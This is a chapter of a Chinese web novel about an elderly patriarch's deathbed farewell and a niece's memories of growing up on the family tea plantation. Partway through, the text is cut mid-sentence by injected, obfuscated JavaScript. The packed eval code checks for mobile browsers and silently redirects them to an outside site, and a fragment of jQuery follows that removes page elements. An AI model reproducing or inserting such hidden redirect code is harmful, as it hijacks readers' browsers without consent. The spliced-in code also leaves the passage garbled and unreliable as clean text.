默认冷灰
24号文字
方正启体

135. 当龙王 135

作者:前后溪本书字数:K更新时间:
    来大伯爷清了清嗓子,来思齐赶忙递上茶水,他喝了一口,给来老大吩咐:“这个项目我交给你了,你要落实好,有什么事情了,得拿拿主意。”


    来老大红着眼睛点头。


    “拿不定主意了,问问你三叔他们。”来大伯爷说:“还得问问思齐的意思,她比你们都有见识。有解决不了的事情,该开口得开口啊,都是自家兄妹,别为了面子张不开嘴。”


    他又看向来思齐,笑着说:“哎呀,又担心给你添麻烦,又担心这些家伙没本事,实在是手心手背都是肉啊,思齐,你别怪伯爷。”


    来思齐赶紧说:“这是哪里话。”


    来大伯爷继续交代,除了项目,他最担心的就是来老三家的孤儿寡母,叫来老大上心,先解决茶田出租的事情,有条件,给来老三女儿找个工作。


    “丫头人很好的,本事也不差。”他说:“她爸就想不开,到最后把自己急死了,反而落下孤儿寡母。我就看好她,儿孙自有儿孙福,丫头以后会有出息的。”


    还有东家的长,西家的短,大家以为老爷子这阵子糊涂了,没想到大大小小的事情都记着,挨个吩咐,连谁家的孩子抑郁症都牵挂着:“就是在学校里压力太大了。”


    他叫来老大给那家带话:“就说是我的意思,别逼着孩子了,不愿意去学校了,带回来住住,散散心。也不是说不读书了,就是先把病治好,总不能为了个文凭,把孩子逼死吧?”


    来老大哽咽着说好。


    “老大啊……”来老大说:“你这孩子心眼实在,做事踏实,爹不担心你,但是要走了,心里最舍不得的就是你啊。”


    “你记不记得小时候,有一回我从镇上带了包奶糖回来,你妈给弟弟妹妹们分了一圈,唯独短了你一颗,问你生不生气,你说没关系,你是大哥哥,应该让着弟弟妹妹。”


    “第二天早上起来,口袋里又有一颗了,你还记挂着是哪个弟弟妹妹,把糖让给你了,自己没吃上。”


    来老大说:“记得,爸。”


    “那是爹给的。”来大伯爷笑呵呵:“你妈说糖发完了,我赶紧去镇上。赶了巧,就剩下那一颗了,供销社的人想留着吃,我说下次拿包好茶给他,好说歹说,才愿意给我。”


    “等我回来,你都睡了。”来大伯爷脸上有一种捉迷藏一辈子都没被发现,临走时亲自揭晓的快乐:“我就悄悄放进你口袋,看看你早上起来什么反应。”


    “别人都有糖,我儿怎么能没有……”他说着说着,声音逐渐低了下去,带着笑意,回归生命来的地方。


    来老大试了试鼻息,跪在地上,悲恸大哭:“爸!”


    众人哭成一片,应真潇还算平静,上前轻轻拥抱体温尚热的老头,借助小崽的神力,为他追荐超度:“睡吧,来抚民。”


    “睡什么睡。”一阵声音像是在脑子里响起来了:“九十八岁,正是闯荡的年纪,该打工了!”


    应真潇:……


    她抬起头,看见老熟鬼苗苗同志站在沙发边,满脸怨念:“告完别了吧?告完别我拉走了啊,正等他开会呢。”


    “也就是我心善,给你面子,让你们多聊聊!”她揪着魂魄飘走:“拖延了这么十几分钟,回头又得挨顿骂,我容易吗我……”


    她说:“老爷子,我现在带你去阴司报道哈,你做做准备,任务都派好了,就等你来了。”


    来大伯爷恢复了清明,笑呵呵的,朝应真潇笑了笑:“你劝劝他们,别哭了,我先去干活了。”


    两鬼飘然远去,应真潇起身。


    追荐?荐个屁,人家早就预定好工作,火急火燎赶去996了。


    ……


    难过归难过,事还得办,来老大和家里人红着眼睛去报丧,几位长辈操持丧事,来思齐也给陆家报了丧。


    陆老爷子说明天全家都过来吊唁,来思齐也没心思推拒,只说知道了。


    “……老婆。”陆迎把电话抢过去,又不知道说什么,干巴巴地说:“别难过了,抱抱。”


    来思齐破涕为笑,又笑不出来,维持着拧巴的表情:“……明天再抱,挂了。”


    陆迎立马让陆雁书给应真潇发消息,让她安慰一下来思齐。


    应真潇:……


    至于吗在这来回传话,刚才打电话她就在边上听着呢。


    她回复了一句收到,一抬头,对上来思齐呆滞怅然的眼神,叹了口气:“阿姨,你不是说要带我去茶田参观一下吗?”


    “走吧。”她起身:“正好现在去散散步。”


    来思齐:“……好。”


    两人从愁云惨淡,已经挂起白幡的来老大家离开,往茶田走,来思齐打起精神,给应真潇介绍:“这块就是大哥家的茶田。小心点,坡地陡,里面还有蛇。”


    茶田都是坡地,便于排水,以前都是泥巴径,一来地形不合适,路修了也会坏,二来乡下人不怕摔,走久了就习惯了,也就不需要路了。


    现在技术进步了,又在搞茶田旅游,村里还费心修了一条石板路,走起来比以前轻松。


    来思齐指着远处穿着蓝白碎花围裙,带着草帽,背着小竹兜的人:“这些都是来旅游的,本地人才不这么穿。”


    应真潇笑了笑:“算不算一种身临其境的cosplay。”


    “其实我不知道有什么好体验的。”来思齐自言自语:“我以前最讨厌摘茶了,现在居然有人花钱体验。”


    来思齐父亲早逝,母亲身体不好,后来也早早去世了,她印象里没和自家人下过田,但茶庄的孩子哪有闲着的道理,谁不是一天撅着屁股干到晚。


    “茶田里面又陡峭,又有蛇,我还见过银环蛇,可把我吓死了。”来思齐说:“大伯爷还不让驱赶,说蛇是小龙,它们是感受到了娘娘的龙气才来的,大家可以共享娘娘的恩德。”


    “而且还热。”来思齐说:“你知道吗潇潇,龙井茶要清晨采摘,但是龙血胭脂要下午才能开始采,最好的茶是夕阳快落下的时候采的,叫做夕叶。”


    “龙血胭脂要晒,太阳越大越好,越晒,中心的龙血就越红,金光就越艳,茶的品质也越好。”来思齐说:“大伯爷说龙血胭脂中心的红是龙女的一片丹心,其质如金,越炼越真。”


    “反正我只知道太阳晒了一天,气温越晒越高,日头越来越毒。”来思齐说:“龙女的丹心炼没炼出来我不知道,我只知道我自己快被太阳炼化了。”


    长大后,她才知道,其实是因为龙血胭脂的风味物质只在日照下生成,光照刺激越强,氧化压力越大,花青素、类胡萝卜素和风味物质,生成得就越多,所以颜色艳丽风味强。


    应真潇忍俊不禁:“看来龙女的丹心也得遵循物质的基本规律。”


    来思齐也跟着露出浅淡的笑意,说这些都是老百姓的生活经验,她也都是跟着来大伯爷学来的。


    来大伯爷不是她的亲伯父,但比她的亲叔叔对她还好,亲叔叔看她爸死了,想占她家的地,来大伯父是大家


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324699|169451||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    长,一口拒绝:“国家法律规定的,你那个什么传统,是旧思想。”


    叔父气不过,扬言让她们母女自生自灭,来大伯爷说不要你管,养不活的孤儿自有国家管。


    他给来思齐母女申请了低保,不多,又包了她家的地,按年给租金,让她去他家吃饭,也跟着大哥一起念书。


    那年头条件不好,大伯父家条件好也好得有限,还是要下地干活,还是要去湖里挑水摸鱼:“反正我从小就黑黢黢的,鲤鲤他爸以为我就长那样。”


    她上高中,在学校捂了一学期,陆迎来找她,东张西望地找不到人,她过去拍了拍陆迎肩膀,傻狍子嘴巴张得能塞下一颗鸡蛋,说小来你居然这么白!


    她翻了个比皮肤更白的白眼。


    后来陆迎总是夸她,说小来白得发光,黑得均匀,竟然在肤色方面也如此优秀,果然是干一行行一行,表情蠢得冒泡。


    以前的来思齐恨透了这种看不见尽头的农活。


    她一考上大学,立马把户口迁到学校,仿佛那个集体户口,也象征着一种不用面朝茶田背朝天的生活;来大伯爷劝她保留,至少可以保底。


    ——即使是在城市户口吃香的年代,茶庄的户口也是比较吃香的。


    她说不,她一定要走,她说她要走得远远的,这辈子就算是饿死,也再也不要过这种摔跤、躲避蛇,晒太阳的倒霉生活了。


    “其实……也不全是。”来思齐蹲下,眼神有些茫然:“可是我真的很讨厌那种生活。”


    即使有大伯父的帮衬,她的生活也还是不如意,各种闲言碎语从没少过,别的同学笑话她没爹妈,绝户崽子,大哥会帮她出头,但他毕竟是个不善言辞的老实人,也打不服所有人。


    更何况,那些人说的是实情啊。


    后来,亲叔父未经允许,给她订了一门亲事,对方上门抢人,气势汹汹,来大伯爷带着人拦下对方,对方就说,如果交不出人,就把彩礼还回来。


    叔父双手一摊,钱反正花完了:“再说,我是她最亲的亲人,婚事不听我的听谁的。”


    气得大伯爷火冒三丈,最后不得不花钱消灾,问题是那笔钱原本是给大哥娶媳妇的,为着这事,嫂子娘家虽然通情达理,但小两口也着实穷了两年。


    即使花了钱,那些人还是用奇怪的眼神看着她,到处说,她是某某的媳妇,她家收了某某家的钱,还不放人,流言蜚语,如刀如剑。


    再后来,她考上了大学,村里说女孩子读那么多书干嘛,不如赶紧结婚,只有来大伯爷支持她读书,还说要给她拿学费。


    “……不用你拿钱。”她说:“陆迎给我。”


    来大伯爷没生气,只说女孩子拿别人钱,以后腰杆子会挺不直的。


    她说要迁户口,大伯爷说最好不迁,那时不成熟的她像是被踩到尾巴的猫,立马炸了毛,跳着脚说一定要迁走,她这辈子再也不要回来种地了,再也不要过那种生活了。


    别的亲戚指着她:“我就说你白疼她了,丫头外向,根本养不熟,还没当上城里人,就忘了本。”


    大伯爷叫他们闭嘴,说高中都没上过的人别来指点高材生,然后对红着眼睛站在角落,手足无措的来思齐说:“有事明天再说,先吃饭。”


    第二天就是来思齐出发的日子,来大伯爷一早就去市里了,来思齐起床的时候,他已经出发了。


    而她的床头,放着已经处理好的户籍文件,和一笔足以支付学费和一学期生活费的钱。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)